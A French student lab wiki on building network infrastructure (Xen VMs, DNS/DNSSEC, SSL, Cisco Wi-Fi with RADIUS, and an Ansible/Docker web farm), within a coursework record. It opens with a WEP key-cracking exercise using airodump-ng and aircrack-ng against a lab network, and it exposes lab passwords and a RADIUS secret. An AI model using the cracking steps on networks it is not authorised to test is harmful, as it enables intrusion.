&lt;br /&gt;
 airmon-ng start wlan0mon&lt;br /&gt;
&lt;br /&gt;
On scanne les réseaux :&lt;br /&gt;
 airodump-ng --encrypte wep wlan0mon&lt;br /&gt;
&lt;br /&gt;
On choisi un réseau parmi ceux disponibles. Par exemple la cracotte08 est sur le canal 7 et a pour BSSID 04:DA:D2:9C:50:57.&lt;br /&gt;
&lt;br /&gt;
[[Fichier:capturewep1.png|600px]]&lt;br /&gt;
&lt;br /&gt;
On lance avec la commande :&lt;br /&gt;
&lt;br /&gt;
 airodump-ng --write testwep --channel 7 --bssid 04:DA:D2:9C:50:57 wlan0mon&lt;br /&gt;
&lt;br /&gt;
 aircrack-ng -z testwep-01.cap&lt;br /&gt;
&lt;br /&gt;
[[Fichier:capturewep2.png|600px]]&lt;br /&gt;
&lt;br /&gt;
==Ferme de serveurs web==&lt;br /&gt;
&lt;br /&gt;
===Architecture générale de la ferme===&lt;br /&gt;
&lt;br /&gt;
On travaille avec deux machines virtuelles, l'une sur le serveur &amp;lt;code&amp;gt;capbreton&amp;lt;/code&amp;gt; (celle mise en place en PRA), l'autre sur le serveur &amp;lt;code&amp;gt;chassiron&amp;lt;/code&amp;gt;.&lt;br /&gt;
&lt;br /&gt;
On ferme la machine virtuelle sur &amp;lt;code&amp;gt;capbreton&amp;lt;/code&amp;gt; (&amp;lt;code&amp;gt;halt&amp;lt;/code&amp;gt;) pour modifier le fichier de configuration &amp;lt;code&amp;gt;girolle.cfg&amp;lt;/code&amp;gt;.&lt;br /&gt;
On ajoute à la ligne vif &amp;lt;code&amp;gt;'mac=@MAC incrémenté de 1, bridge=bridgeStudents'&amp;lt;/code&amp;gt; avant de la relancer.&lt;br /&gt;
&lt;br /&gt;
'''Interfaces'''&lt;br /&gt;
&lt;br /&gt;
On associe l'adresse IP &amp;lt;code&amp;gt;192.186.42.21&amp;lt;/code&amp;gt; à la VM sur le serveur &amp;lt;code&amp;gt;capbreton&amp;lt;/code&amp;gt;. Pour cela on l'ajoute dans &amp;lt;code&amp;gt;/etc/network/interfaces&amp;lt;/code&amp;gt; :&lt;br /&gt;
&lt;br /&gt;
 auto eth1&lt;br /&gt;
 iface eth1 inet static&lt;br /&gt;
   address 192.168.42.21 &lt;br /&gt;
   netmask 255.255.255.0&lt;br /&gt;
&lt;br /&gt;
Sur &amp;lt;code&amp;gt;chassiron&amp;lt;/code&amp;gt;, on ajoute une interface dans &amp;lt;code&amp;gt;/etc/network/interfaces&amp;lt;/code&amp;gt; :&lt;br /&gt;
 auto eth0&lt;br /&gt;
 iface eth0 inet static&lt;br /&gt;
   address 192.168.42.7&lt;br /&gt;
   netmask 255.255.255.0 &lt;br /&gt;
   gateway 192.168.42.21&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Le ping entre leux deux machine se fait.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
'''Mascarade'''&lt;br /&gt;
&lt;br /&gt;
On met en place une mascarade pour que la VM sur &amp;lt;code&amp;gt;chassiron&amp;lt;/code&amp;gt; ait accès à internet :&lt;br /&gt;
&lt;br /&gt;
 iptables -P FORWARD DROP&lt;br /&gt;
 iptables -A FORWARD -j ACCEPT -s 192.168.42.7/32&lt;br /&gt;
 iptables -A FORWARD -j ACCEPT -d 192.168.42.7/32&lt;br /&gt;
 iptables -t nat -A POSTROUTING -j SNAT -s 192.168.42.7/32 --to-source 193.48.57.182&lt;br /&gt;
 iptables-save&lt;br /&gt;
 echo 1 &amp;gt; /proc/sys/net/ipv4/ip_forward&lt;br /&gt;
&lt;br /&gt;
'''Mise en place d'&amp;lt;code&amp;gt;ansible&amp;lt;/code&amp;gt;'''&lt;br /&gt;
&lt;br /&gt;
Installation d'&amp;lt;code&amp;gt;ansible&amp;lt;/code&amp;gt; sur la VM de &amp;lt;code&amp;gt;capbreton&amp;lt;/code&amp;gt;.&lt;br /&gt;
Création des clés avec la commande &amp;lt;code&amp;gt;ssh-keygen -t rsa&amp;lt;/code&amp;gt;&lt;br /&gt;
&lt;br /&gt;
On ajoute la clé public sur toutes les machines de &amp;lt;code&amp;gt;chassiron&amp;lt;/code&amp;gt; :&lt;br /&gt;
 cat id_rsa.pub | ssh root@192.168.42.7 'cat &amp;gt;&amp;gt; .ssh/authorized_keys2'&lt;br /&gt;
&lt;br /&gt;
Installation de Python sur la VM de &amp;lt;code&amp;gt;chassiron&amp;lt;/code&amp;gt; (Attention à installer uniquement python3 et ne pas avoir de versions antérieurs pour éviter les conflits de version).&lt;br /&gt;
 apt install python3&lt;br /&gt;
 ln -sf /usr/bin/python3 /usr/bin/python&lt;br /&gt;
&lt;br /&gt;
L'utilitaire &amp;lt;code&amp;gt;ansible&amp;lt;/code&amp;gt; permet d'organiser le projet en plusieurs parties. Les manipulations se font majoritairement sur &amp;lt;code&amp;gt;capbreton&amp;lt;/code&amp;gt;.&lt;br /&gt;
&lt;br /&gt;
'''Inventaire'''&lt;br /&gt;
&lt;br /&gt;
Sur &amp;lt;code&amp;gt;capbreton&amp;lt;/code&amp;gt;, on crée un inventaire dans &amp;lt;code&amp;gt;/etc/ansible/hosts&amp;lt;/code&amp;gt;. en séparant notre serveur seul des autres (dont le notre).&lt;br /&gt;
 [self]&lt;br /&gt;
 192.168.42.7&lt;br /&gt;
&lt;br /&gt;
 [webinterne]&lt;br /&gt;
 192.168.42.2&lt;br /&gt;
 192.168.42.4&lt;br /&gt;
 192.168.42.5&lt;br /&gt;
 192.168.42.7&lt;br /&gt;
 192.168.42.9&lt;br /&gt;
 192.168.42.12&lt;br /&gt;
&lt;br /&gt;
'''Playbook et roles'''&lt;br /&gt;
&lt;br /&gt;
On crée plusieurs rôles qui sont lancés via un playbook (&amp;lt;code&amp;gt;/root/playbooks/&amp;lt;/code&amp;gt;). Chaque rôle à son propre sous-répertoire (&amp;lt;code&amp;gt;/etc/ansible/roles&amp;lt;/code&amp;gt;).&lt;br /&gt;
&lt;br /&gt;
'''Rôle &amp;lt;code&amp;gt;basic&amp;lt;/code&amp;gt; :'''&lt;br /&gt;
* &amp;lt;code&amp;gt;files&amp;lt;/code&amp;gt; qui contient la configuration mymotd_conf et ntp.conf&lt;br /&gt;
** mymotd_conf : On met ce que l'on veut afficher dedans&lt;br /&gt;
** ntp.conf : Fichier récupéré auquel on ajoute le serveur NTP et les IP&lt;br /&gt;
 # You do need to talk to an NTP server or two (or three).&lt;br /&gt;
 #server ntp.your-provider.example&lt;br /&gt;
 server ntp.plil.info&lt;br /&gt;
 ...&lt;br /&gt;
 # Local users may interrogate the ntp server more closely.&lt;br /&gt;
 restrict 127.0.0.1&lt;br /&gt;
 restrict ::1&lt;br /&gt;
 restrict 192.168.42.21&lt;br /&gt;
 restrict 192.168.42.7&lt;br /&gt;
&lt;br /&gt;
* &amp;lt;code&amp;gt;tasks&amp;lt;/code&amp;gt; qui contient un &amp;lt;code&amp;gt;main.yml&amp;lt;/code&amp;gt;&lt;br /&gt;
 - name : gestion packages&lt;br /&gt;
   apt:&lt;br /&gt;
     update_cache: yes&lt;br /&gt;
     name: &amp;quot;{{ packages } }&amp;quot;&lt;br /&gt;
   vars:&lt;br /&gt;
     packages:&lt;br /&gt;
      - python3&lt;br /&gt;
      - python3-pip&lt;br /&gt;
      - ntpdate&lt;br /&gt;
      - ntp&lt;br /&gt;
 &lt;br /&gt;
 - name : gestion packages pip&lt;br /&gt;
   pip:&lt;br /&gt;
      name:&lt;br /&gt;
         - docker&lt;br /&gt;
 - name: lien symbolique&lt;br /&gt;
   command: ln -sf /usr/bin/python3 /usr/bin/python&lt;br /&gt;
 &lt;br /&gt;
 - name: motd&lt;br /&gt;
   copy:&lt;br /&gt;
      src: /etc/ansible/roles/basic/files/mymotd_conf&lt;br /&gt;
      dest: /etc/motd&lt;br /&gt;
      owner: root&lt;br /&gt;
      group: root&lt;br /&gt;
      mode: '0644' &lt;br /&gt;
&lt;br /&gt;
 - name: config ntp&lt;br /&gt;
   copy:&lt;br /&gt;
      src: /etc/ansible/roles/basic/files/ntp.conf&lt;br /&gt;
      dest: /etc/ntp.conf&lt;br /&gt;
      owner: root&lt;br /&gt;
      group: root&lt;br /&gt;
      mode: '0644'&lt;br /&gt;
&lt;br /&gt;
Ce rôle permet de configurer le motd et le NTP. Il permet également d'installer les packages nécessaires.&lt;br /&gt;
&lt;br /&gt;
===Installation de &amp;lt;code&amp;gt;docker&amp;lt;/code&amp;gt;===&lt;br /&gt;
&lt;br /&gt;
On installe &amp;lt;code&amp;gt;docker&amp;lt;/code&amp;gt; par l'intermédiaire du playbook sur notre VM sur &amp;lt;code&amp;gt;chassiron&amp;lt;/code&amp;gt;. Pour cela on utilise un rôle déjà créé par &amp;lt;code&amp;gt;geerlingguy&amp;lt;/code&amp;gt;. Les variables docker_&amp;lt;code&amp;gt;apt_gpg_key&amp;lt;/code&amp;gt; et &amp;lt;code&amp;gt;docker_apt_repository&amp;lt;/code&amp;gt; permettent que le rôle se comporte comme si la VM est sous debian version buster.&lt;br /&gt;
&lt;br /&gt;
'''Playbook &amp;lt;code&amp;gt;first_play.yml&amp;lt;/code&amp;gt; :'''&lt;br /&gt;
 ---&lt;br /&gt;
 - name: Premiere playbook&lt;br /&gt;
   hosts: self&lt;br /&gt;
   roles:&lt;br /&gt;
     - basic &lt;br /&gt;
     - geerlingguy.docker&lt;br /&gt;
     - registry&lt;br /&gt;
   vars:&lt;br /&gt;
     docker_apt_gpg_key: &amp;quot;https://download.docker.com/linux/debian/gpg&amp;quot;&lt;br /&gt;
     docker_apt_repository: &amp;quot;deb [arch={ { docker_apt_arch }}] https://download.docker.com/linux/debian buster {{ docker_apt_release_channel } }&amp;quot; &lt;br /&gt;
&lt;br /&gt;
===Création du conteneur===&lt;br /&gt;
&lt;br /&gt;
On met en place un conteneur qui contient notre site web et démarre apache2 sur le port 80.&lt;br /&gt;
En premier lieu on installe &amp;lt;code&amp;gt;docker&amp;lt;/code&amp;gt; sur &amp;lt;code&amp;gt;capbreton&amp;lt;/code&amp;gt; avec &amp;lt;code&amp;gt;wget get.docker.com&amp;lt;/code&amp;gt;&lt;br /&gt;
&lt;br /&gt;
'''Dockerfile'''&lt;br /&gt;
&lt;br /&gt;
Il faut ensuite réaliser un &amp;lt;code&amp;gt;dockerfile&amp;lt;/code&amp;gt; toujours sur &amp;lt;code&amp;gt;capbreton&amp;lt;/code&amp;gt; :&lt;br /&gt;
 FROM httpd:latest&lt;br /&gt;
 MAINTAINER NourClara&lt;br /&gt;
 COPY ./index.html /usr/local/apache2/htdocs/&lt;br /&gt;
 CMD [ &amp;quot;httpd&amp;quot;, &amp;quot;-D&amp;quot;, &amp;quot;FOREGROUND&amp;quot; ]&lt;br /&gt;
Le fichier &amp;lt;code&amp;gt;index.html&amp;lt;/code&amp;gt; dans lequel se trouve le contenu du site web doit se trouver dans le même répertoire que le &amp;lt;code&amp;gt;dockerfile&amp;lt;/code&amp;gt;.&lt;br /&gt;
&lt;br /&gt;
'''Construction et lancement de l'image docker'''&lt;br /&gt;
&lt;br /&gt;
 docker build -t webserver .&lt;br /&gt;
On aurait pu mettre girolle au lieu de webserver par exemple.&lt;br /&gt;
 docker run -d webserver&lt;br /&gt;
&lt;br /&gt;
On vérifie que l'image est construite et lancée correctement avec les commandes &amp;lt;code&amp;gt;docker images&amp;lt;/code&amp;gt; et &amp;lt;code&amp;gt;docker ps -a&amp;lt;/code&amp;gt;.&lt;br /&gt;
&lt;br /&gt;
'''Dépôt docker local''' &lt;br /&gt;
&lt;br /&gt;
Sur &amp;lt;code&amp;gt;chassiron&amp;lt;/code&amp;gt;, on installe un dépôt local qui accueillera notre image docker.&lt;br /&gt;
 docker run -d -p 5000:5000 --restart always --name registry registry:2&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
'''Rôle &amp;lt;code&amp;gt;registry&amp;lt;/code&amp;gt; :'''&lt;br /&gt;
* &amp;lt;code&amp;gt;tasks&amp;lt;/code&amp;gt; qui contient un &amp;lt;code&amp;gt;main.yml&amp;lt;/code&amp;gt;&lt;br /&gt;
 - name: Setup registry&lt;br /&gt;
   docker_container:&lt;br /&gt;
           name: registry&lt;br /&gt;
           image: registry&lt;br /&gt;
           ports:&lt;br /&gt;
                   - &amp;quot;5000:5000&amp;quot;&lt;br /&gt;
&lt;br /&gt;
===Configuration des serveurs internes===&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
'''Rôle &amp;lt;code&amp;gt;deployer&amp;lt;/code&amp;gt; :'''&lt;br /&gt;
* &amp;lt;code&amp;gt;tasks&amp;lt;/code&amp;gt; avec un &amp;lt;code&amp;gt;main.yml&amp;lt;/code&amp;gt;&lt;br /&gt;
 - name : deployer sur les VMs&lt;br /&gt;
   docker_container:&lt;br /&gt;
           name: site&lt;br /&gt;
           image: 192.168.42.7:5000/webserver&lt;br /&gt;
           ports:&lt;br /&gt;
                   - &amp;quot;8087:80&amp;quot;  &lt;br /&gt;
&amp;lt;code&amp;gt;image&amp;lt;/code&amp;gt; : là où se trouve notre serveur web à déployer (sur notre VM sur &amp;lt;code&amp;gt;chassiron&amp;lt;/code&amp;gt;)&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
'''Playbook complet &amp;lt;code&amp;gt;first_play.yml&amp;lt;/code&amp;gt; :'''&lt;br /&gt;
 ---&lt;br /&gt;
 - name: Premiere playbook&lt;br /&gt;
   hosts: self&lt;br /&gt;
   roles:&lt;br /&gt;
     - basic &lt;br /&gt;
     - geerlingguy.docker&lt;br /&gt;
     - registry&lt;br /&gt;
   vars:&lt;br /&gt;
     docker_apt_gpg_key: &amp;quot;https://download.docker.com/linux/debian/gpg&amp;quot;&lt;br /&gt;
     docker_apt_repository: &amp;quot;deb [arch={ { docker_apt_arch }}] https://download.docker.com/linux/debian buster {{ docker_apt_release_channel } }&amp;quot;    &lt;br /&gt;
 &lt;br /&gt;
 &lt;br /&gt;
 - name: Deploiement&lt;br /&gt;
   hosts: webinterne&lt;br /&gt;
   roles:&lt;br /&gt;
      - deployer&lt;br /&gt;
&lt;br /&gt;
===Équilibreur de charge (load balancer)===&lt;/div&gt;</summary>
		<author><name>Cbisalli</name></author>	</entry>

	<entry>
		<id>https://wiki-ima.plil.fr/mediawiki//index.php?title=TP_sysres_IMA5sc_2020/2021_G7&amp;diff=55005</id>
		<title>TP sysres IMA5sc 2020/2021 G7</title>
		<link rel="alternate" type="text/html" href="https://wiki-ima.plil.fr/mediawiki//index.php?title=TP_sysres_IMA5sc_2020/2021_G7&amp;diff=55005"/>
				<updated>2020-12-18T21:57:14Z</updated>
		
		<summary type="html">&lt;p&gt;Cbisalli : /* Ferme de serveurs web */&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;&lt;br /&gt;
== Explication Infrastructure ==&lt;br /&gt;
&lt;br /&gt;
==Installation VM==&lt;br /&gt;
&lt;br /&gt;
Connexion ssh:&lt;br /&gt;
 ssh pifou@capbreton.plil.info&lt;br /&gt;
&lt;br /&gt;
Commande (en root su -):&lt;br /&gt;
 xen-create-image --hostname=girolle --ip=100.64.0.24 --netmask=255.255.255.240 --dist=buster --dir=/usr/local/xen --password=glopglop --force&lt;br /&gt;
&amp;lt;br&amp;gt; MAJ gateway : 161&lt;br /&gt;
&amp;lt;br&amp;gt;Nom de domaine: girolle.site&lt;br /&gt;
&amp;lt;br&amp;gt;Adresse IP : 100.64.0.24 MAJ: 193.48.57.172&lt;br /&gt;
&amp;lt;br&amp;gt;Netmask: 255.255.255.240 MAJ: 255.255.255.224&lt;br /&gt;
&amp;lt;br&amp;gt;Adresse MAC : 00:16:3E:3E:E3:15&lt;br /&gt;
&lt;br /&gt;
Repartition des volumes logiques : &lt;br /&gt;
 lvdisplay &lt;br /&gt;
 lvrename &lt;br /&gt;
&lt;br /&gt;
Dans le fichier de configuration de la machine : girolle.cfg&lt;br /&gt;
on rajoute var et home :&lt;br /&gt;
lignes 'phy:/.../xdva3'&lt;br /&gt;
 &lt;br /&gt;
&lt;br /&gt;
Commandes pour creer et acceder a la VM :&lt;br /&gt;
&lt;br /&gt;
 xl create -c etc/xen/girolle.cfg&lt;br /&gt;
 '''xl console girolle'''&lt;br /&gt;
&lt;br /&gt;
Commandes sur la vm: &lt;br /&gt;
&lt;br /&gt;
dans etc/fstab il faut indiquer les fonctionnalites de xvda3 et xvda4 &lt;br /&gt;
&lt;br /&gt;
au prealable il faut &lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
1) formater la partition : &lt;br /&gt;
 mkfs -t ext4 /dev/xvda4&lt;br /&gt;
&lt;br /&gt;
2) Monter la partition que l'on veut sur /mnt &lt;br /&gt;
 mount /dev/xvda4 /mnt&lt;br /&gt;
3) Migrer tout le contenu de var dans mnt &lt;br /&gt;
 cd /var&lt;br /&gt;
 mv * /mnt&lt;br /&gt;
&lt;br /&gt;
4) Dans le fichier fstab rajouter :&lt;br /&gt;
 /dev/xvda4 /var ext4 defaults 0 2&lt;br /&gt;
&lt;br /&gt;
5) Unmout mnt &lt;br /&gt;
 umount /mnt&lt;br /&gt;
&lt;br /&gt;
6) Monter tout sur dev/xdva&lt;br /&gt;
 mount -a &lt;br /&gt;
7)Verification &lt;br /&gt;
 df&lt;br /&gt;
 dpkg -l&lt;br /&gt;
&lt;br /&gt;
== Activation connexion ssh ==&lt;br /&gt;
&lt;br /&gt;
On modifie le fichier /etc/ssh/sshd_config&lt;br /&gt;
&lt;br /&gt;
On décommente la ligne PermissionRoot :  &lt;br /&gt;
 # Authentication:&lt;br /&gt;
 #LoginGraceTime 2m&lt;br /&gt;
 PermitRootLogin yes&lt;br /&gt;
&lt;br /&gt;
Puis on l'active avec la commande :&lt;br /&gt;
 service sshd restart&lt;br /&gt;
&lt;br /&gt;
On peut se connecter à la machine par ssh root@girolle.site (mot de passe root habituel)&lt;br /&gt;
&lt;br /&gt;
==Redirection DNS==&lt;br /&gt;
&lt;br /&gt;
=== Sur Gandi ===&lt;br /&gt;
&lt;br /&gt;
Achat d'un nom de domaine : girolle.site&lt;br /&gt;
Création d'un Glue Record : 193.48.57.182&lt;br /&gt;
&lt;br /&gt;
Serveur DNS primaire : ns1.girolle.site (193.48.57.182)&lt;br /&gt;
Serveur DNS secondaire : ns6.gandi.net (217.70.177.40)&lt;br /&gt;
&lt;br /&gt;
=== Sur la machine virtuelle ===&lt;br /&gt;
&lt;br /&gt;
Installation de bind9&lt;br /&gt;
On modifie les fichiers dans /etc/bind/named.conf.&lt;br /&gt;
Dans /etc/bind/named.conf.options&lt;br /&gt;
 options {&lt;br /&gt;
   directory &amp;quot;/etc/bind&amp;quot;;&lt;br /&gt;
   listen-on-v6 { any; };&lt;br /&gt;
   allow-transfer { &amp;quot;allowed_to_transfer&amp;quot;; };&lt;br /&gt;
 };&lt;br /&gt;
&lt;br /&gt;
 acl &amp;quot;allowed_to_transfer&amp;quot; {&lt;br /&gt;
   217.70.177.40/32 ;&lt;br /&gt;
 };&lt;br /&gt;
&lt;br /&gt;
Dans /etc/bind/named.conf.local&lt;br /&gt;
 zone &amp;quot;girolle.site&amp;quot; {&lt;br /&gt;
   type master;&lt;br /&gt;
   file &amp;quot;girolle.site/girolle&amp;quot;;&lt;br /&gt;
   allow-transfer (217.70.177.40;};&lt;br /&gt;
 };&lt;br /&gt;
&lt;br /&gt;
Dans db.girolle.site&lt;br /&gt;
 ;&lt;br /&gt;
 ; BIND data file for local loopback interface&lt;br /&gt;
 ;&lt;br /&gt;
 $TTL    604800&lt;br /&gt;
 @       IN      SOA      ns1.girolle.site.  postmaster.girolle.site(&lt;br /&gt;
                              2         ; Serial&lt;br /&gt;
                         604800         ; Refresh&lt;br /&gt;
                          86400         ; Retry&lt;br /&gt;
                        2419200         ; Expire&lt;br /&gt;
                         604800 )       ; Negative Cache TTL&lt;br /&gt;
 ;&lt;br /&gt;
 @       IN      NS      ns1.girolle.site.&lt;br /&gt;
 @       IN      NS      ns6.gandi.net.&lt;br /&gt;
 ns1     IN      A       193.48.57.182&lt;br /&gt;
 @       IN      MX      100 girolle.site.&lt;br /&gt;
&lt;br /&gt;
 www      IN      CNAME   ns1&lt;br /&gt;
&lt;br /&gt;
Puis pour le relancer :&lt;br /&gt;
 service bind9 restart&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Configuration pour la réception du mail de confirmation du certificat SSL&lt;br /&gt;
Installer Postfixe pour avoir accès au fichier aliases&lt;br /&gt;
 Internet Site&lt;br /&gt;
 girolle.site&lt;br /&gt;
&lt;br /&gt;
Dans /etc/aliases&lt;br /&gt;
 admin: root&lt;br /&gt;
&lt;br /&gt;
Puis ajouter dans newaliases&lt;br /&gt;
Cela va permettre de récupérer le mail de confirmation de Gandi envoyé à admin@girolle.site&lt;br /&gt;
&lt;br /&gt;
https://www.jeffgeerling.com/blogs/jeff-geerling/viewing-email-linux-using&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Installation de mailx pour lire les mails reçus&lt;br /&gt;
 apt-install bsd-mailx&lt;br /&gt;
Pour consulter le mail de vérification&lt;br /&gt;
 mailx admin&lt;br /&gt;
&lt;br /&gt;
=== Sécurisation par certificat SSL ===&lt;br /&gt;
&lt;br /&gt;
Génération du CSR à l'aide d'openssl&lt;br /&gt;
 openssl req -nodes -newkey rsa:2048 -sha256 -keyout girolle.site.key -out girolle.site.csr&lt;br /&gt;
&lt;br /&gt;
Réception du mail de vérification avec une URL et un mot de passe ce qui nous permet de récupérer le fichier girolle.site.crt&lt;br /&gt;
&lt;br /&gt;
Configuration du serveur apache2&lt;br /&gt;
&lt;br /&gt;
Activation du ssl sur apache2 &lt;br /&gt;
 ae2enmod ssl&lt;br /&gt;
&lt;br /&gt;
Ajout dans le fichier 000-default.conf dans /etc/apache2/sites-available&lt;br /&gt;
&amp;lt;VirtualHost *:80&amp;gt;                                                                                                         &lt;br /&gt;
  ServerName www.girolle.site                                                                                             &lt;br /&gt;
  Redirect / https://www.girolle.site       &lt;br /&gt;
  ....                                                                        &lt;br /&gt;
&amp;lt;/VirtualHost&amp;gt; &lt;br /&gt;
&lt;br /&gt;
 &amp;lt;VirtualHost 193.48.57.182:443&amp;gt;&lt;br /&gt;
     DocumentRoot /var/www/html2&lt;br /&gt;
     ServerName girolle.site&lt;br /&gt;
         SSLEngine on&lt;br /&gt;
         SSLCertificateFile /root/girolle.site.crt&lt;br /&gt;
         SSLCertificateKeyFile /root/girolle.site.key&lt;br /&gt;
         SSLCertificateChainFile /root/GandiCA.pem&lt;br /&gt;
     &amp;lt;/VirtualHost&amp;gt;&lt;br /&gt;
&lt;br /&gt;
verifications:&lt;br /&gt;
 host -t soa girolle.site ns6.gandi.net&lt;br /&gt;
 Sur Zabeth : host www.girolle.site&lt;br /&gt;
&lt;br /&gt;
===Sécurisation de serveur DNS par DNSSEC===&lt;br /&gt;
&lt;br /&gt;
On ajoute l’option dnssec-enable yes; dans le fichier named.conf.options&lt;br /&gt;
On crée ensuite un dossier girolle_dnssec pour y stocker les couples de clés générées:&lt;br /&gt;
Une clef asymétrique de signature de clefs de zone &lt;br /&gt;
&lt;br /&gt;
 dnssec-keygen -a RSASHA1 -b 2048 -f KSK -n ZONE girolle.site&lt;br /&gt;
  &lt;br /&gt;
&lt;br /&gt;
Une clef asymétrique de la zone pour signer les enregistrements&lt;br /&gt;
&lt;br /&gt;
 dnssec-keygen -a RSASHA1 -b 1024 -n ZONE girolle.site&lt;br /&gt;
&lt;br /&gt;
On renomme les deux paires de clés de la façon suivante :&lt;br /&gt;
  &lt;br /&gt;
 Kgirolle.site.+0+55681.key et Kgirolle.site.+0+55681.private en girolle.site-ksk.key et girolle.site-ksk.private&lt;br /&gt;
 Kgirolle.site.+0+00840.key et Kgirolle.site.+0+00840.private en girolle.site-zsk.key et girolle.site-ksk.private&lt;br /&gt;
&lt;br /&gt;
On inclue en les clefs publiques dans le fichier de zone db.girolle.site :&lt;br /&gt;
&lt;br /&gt;
 $include /etc/bind/girolle_dnssec/&amp;lt;nom_de_zone&amp;gt;-ksk.key&lt;br /&gt;
 $include /etc/bind/girolle_dnssec/&amp;lt;nom_de_zone&amp;gt;-zsk.key&lt;br /&gt;
&lt;br /&gt;
On signe les enregistrement de la zone avec la commande&lt;br /&gt;
 dnssec-signzone -o girolle.site -k girolle.site-ksk ../db.girolle.site girolle.site-zsk&lt;br /&gt;
&lt;br /&gt;
Dans /etc/bind/named.conf.local on modifie la zone :&lt;br /&gt;
&lt;br /&gt;
 zone &amp;quot;girolle.site&amp;quot; IN {&lt;br /&gt;
  type master;&lt;br /&gt;
  file &amp;quot;/etc/bind/db.girolle.site.signed&amp;quot;;&lt;br /&gt;
  allow-transfer {227.70.177.40;};&lt;br /&gt;
 };   &lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Enfin sur Gandi, on ajoute la clé publique ksk avec l'algorithme(RSA/SHA-1).&lt;br /&gt;
&lt;br /&gt;
On utilise l'analyseur de DNSSEC du site Verisign Labs pour vérifier. Tout s'effectue sans erreur.&lt;br /&gt;
&lt;br /&gt;
[[Fichier:Girolle.jpg|300px]]&lt;br /&gt;
&lt;br /&gt;
== Configuration des bornes Wi-Fi ==&lt;br /&gt;
&lt;br /&gt;
Borne classique : Cisco - AIR-CAP1602I-E-K9&lt;br /&gt;
&lt;br /&gt;
Configuration IOS en CLI :&lt;br /&gt;
&lt;br /&gt;
 aaa new-model&lt;br /&gt;
 !&lt;br /&gt;
 !&lt;br /&gt;
 aaa group server radius radius_girolle&lt;br /&gt;
 server 193.48.57.182 auth-port 1812 acct-port 1813&lt;br /&gt;
 !&lt;br /&gt;
 aaa authentication login eap_group1 group radius_group1&lt;br /&gt;
 aaa authentication login eap_girolle group radius_girolle&lt;br /&gt;
 !         &lt;br /&gt;
 dot11 ssid SSID_GIROLLE&lt;br /&gt;
    vlan 107&lt;br /&gt;
    authentication open eap eap_girolle &lt;br /&gt;
    authentication network-eap eap_girolle &lt;br /&gt;
    authentication key-management wpa&lt;br /&gt;
 !&lt;br /&gt;
 !&lt;br /&gt;
 ...&lt;br /&gt;
 interface Dot11Radio0&lt;br /&gt;
  encryption vlan 101 mode ciphers aes-ccm tkip&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
 ...&lt;br /&gt;
 interface BVI1&lt;br /&gt;
 ip address 10.60.100.10 255.255.255.0&lt;br /&gt;
 !&lt;br /&gt;
 radius-server host 193.48.57.182 auth-port 1812 acct-port 1813 key 7 09414A191B0A051C0E1B0D2C22&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
10.60.100.10 : adresse IP fixe du point d'accès&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Commandes et verifications /&lt;br /&gt;
 ap(config)#interface BVI1&lt;br /&gt;
 ap(config-if)# ip address 10.60.100.10 255.255.255.0&lt;br /&gt;
 ap(config-if)#exit&lt;br /&gt;
 ap#write&lt;br /&gt;
 PING ROUTEUR 1 POUR VERIFIER LA CONNEXION&lt;br /&gt;
 ap#ping 10.60.100.2 &lt;br /&gt;
 Type escape sequence to abort.&lt;br /&gt;
 Sending 5, 100-byte ICMP Echos to 10.60.100.2, timeout is 2 seconds:&lt;br /&gt;
 .!!!!&lt;br /&gt;
 Success rate is 80 percent (4/5), round-trip min/avg/max = 1/1/1 ms&lt;br /&gt;
&lt;br /&gt;
test second routeur : ne fonctionne pas car pas d'addresse ip&lt;br /&gt;
 ap#ping 10.60.100.1&lt;br /&gt;
 Type escape sequence to abort.&lt;br /&gt;
 Sending 5, 100-byte ICMP Echos to 10.60.100.1, timeout is 2 seconds:&lt;br /&gt;
 .....&lt;br /&gt;
 Success rate is 0 percent (0/5)&lt;br /&gt;
&lt;br /&gt;
Configurer l'adresse par defaut:&lt;br /&gt;
&lt;br /&gt;
 ap(config)#ip route 0.0.0.0 0.0.0.0 10.60.100.2&lt;br /&gt;
 ap(config)#exit&lt;br /&gt;
 ap#sh ip route&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Test ping notre machine virtuelle girolle : &lt;br /&gt;
 ap#ping 193.48.57.182&lt;br /&gt;
 Type escape sequence to abort.&lt;br /&gt;
 Sending 5, 100-byte ICMP Echos to 193.48.57.182, timeout is 2 seconds:&lt;br /&gt;
 !!!!!&lt;br /&gt;
 Success rate is 100 percent (5/5), round-trip min/avg/max = 1/1/1 ms&lt;br /&gt;
&lt;br /&gt;
===Sécurisation===&lt;br /&gt;
&lt;br /&gt;
On a refait la configuration avec groupe7 pour s'aligner sur les autres groupes.&lt;br /&gt;
&lt;br /&gt;
 wifi-ima5sc(config)# aaa authentication login eap_group7 group radius_group7&lt;br /&gt;
 wifi-ima5sc(config)# radius-server host 193.48.57.182 auth-port 1812 acct-port 1813 key secret_group7&lt;br /&gt;
 wifi-ima5sc(config)# aaa group server radius radius_group7&lt;br /&gt;
 wifi-ima5sc(config-server)# server 193.48.57.182 auth-port 1812 acct-port 1813&lt;br /&gt;
 wifi-ima5sc(config)# dot11 ssid SSID_GROUP7&lt;br /&gt;
 wifi-ima5sc(config-radius)# mbssid guest-mode&lt;br /&gt;
 wifi-ima5sc(config-radius)# vlan 307&lt;br /&gt;
 wifi-ima5sc(config-radius)# authentication open eap eap_group7&lt;br /&gt;
 wifi-ima5sc(config-radius)# authentication network-eap eap_group7&lt;br /&gt;
 wifi-ima5sc(config-radius)# authentication key-management wpa&lt;br /&gt;
&lt;br /&gt;
 wifi-ima5sc(config)# int Dot11Radio0&lt;br /&gt;
 wifi-ima5sc(config-if)# encryption vlan 307 mode ciphers aes-ccm tkip&lt;br /&gt;
 wifi-ima5sc(config-if)# mbssid&lt;br /&gt;
 wifi-ima5sc(config)# ssid SSID_GROUP7&lt;br /&gt;
&lt;br /&gt;
